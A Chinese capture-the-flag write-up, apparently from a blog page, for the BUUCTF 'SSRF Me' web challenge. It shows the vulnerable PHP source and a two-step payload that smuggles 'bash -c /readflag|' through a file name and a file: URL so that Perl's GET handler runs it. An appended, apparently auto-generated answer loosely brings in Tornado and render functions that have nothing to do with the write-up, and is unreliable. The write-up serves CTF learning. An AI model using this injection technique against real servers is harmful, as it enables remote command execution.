BUUCTF WEB SSRF ME

这题没啥好说的,简简单单一个命令执行漏洞

10.244.80.46<?php
    if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
        $http_x_headers = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
        $_SERVER['REMOTE_ADDR'] = $http_x_headers[0];
    }

    echo $_SERVER["REMOTE_ADDR"];

    $sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);
    @mkdir($sandbox);
    @chdir($sandbox);

    $data = shell_exec("GET " . escapeshellarg($_GET["url"]));
    $info = pathinfo($_GET["filename"]);
    $dir  = str_replace(".", "", basename($info["dirname"]));
    @mkdir($dir);
    @chdir($dir);
    @file_put_contents(basename($info["basename"]), $data);
    highlight_file(__FILE__);

出问题的语句就一句

$data = shell_exec("GET " . escapeshellarg($_GET["url"]));

他会把url里面的东西当成命令来执行,他调用的是perl解析器来进行的解析执行,所以究其本质,是perl的问题
小test:
(这是get的正常用法和perl的命令执行没关系)

?url=/&filename=123

相当于执行了GET /,读取了/目录下的所有文件,输出到沙盒目录下的123,没有会自动在当前目录下创建一个
算沙盒目录:orange10.244.80.46的md5值230317844a87b41e353b096d0d6a5145
目录sandbox/230317844a87b41e353b096d0d6a5145
执行payload访问sandbox/230317844a87b41e353b096d0d6a5145/123,成功输出
我们要的是命令执行,因此需要构造bash -c之类的文件名
先给payload再分析
?url=file:bash -c /readflag|&filename=bash -c /readflag|
?url=file:bash -c /readflag|&filename=456
解释一下为什么是两段,因为这个漏洞的前提之一是你file后面的文件名必须是真实存在的,所以第一个payload的作用是生成一个文件名为
bash -c /readflag|的文件,触发他的是@file_put_contents(basename($info["basename"]), $data);
至于为什么有个管道符,这跟这个漏洞的原理有点关系,当第二次执行
$data = shell_exec("GET " . escapeshellarg($_GET["url"]));的时候由于检测到了bash -c /readflag|同名文件,于是调用了file.pm里面的方法
但是里面的代码会有一个>而这个管道符|是为了闭合这个>的,所以你搜payload的test的时候,文件名都会在最前或者最后加一个管道符来闭合这个>
于是成功执行了bash -c /readflag命令,并将结果输出到了456文件中
同理查找拿到flag
参考视频链接:https://www.bilibili.com/video/BV1AS4y1D75Y/

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
回答:根据引用和引用的内容,buuctf web应该是指buuctf比赛中的一个web题目。其中可能涉及到Tornado作为非阻塞式服务器的使用,以及render函数的使用。而根据引用的内容,buuctf web题目可能存在一些漏洞,比如SSRF(Server Side Request Forgery)漏洞,可以通过对内网web应用实施攻击获取webshell。因此,在buuctf web题目中,可能需要掌握SSRF漏洞的利用和对web应用的渲染函数(render函数)进行利用。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* [【CTF】buuctf web 详解(持续更新)](https://blog.csdn.net/m0_52923241/article/details/119641325)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v92^chatsearchT0_1"}}] [.reference_item style="max-width: 33.333333333333336%"] - *2* [【BUUCTF刷题】Web解题方法总结(一)](https://blog.csdn.net/qq_45834505/article/details/114276572)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v92^chatsearchT0_1"}}] [.reference_item style="max-width: 33.333333333333336%"] - *3* [BUUCTFWeb真题学习整理(一)](https://blog.csdn.net/qq_41429081/article/details/98042205)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v92^chatsearchT0_1"}}] [.reference_item style="max-width: 33.333333333333336%"] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值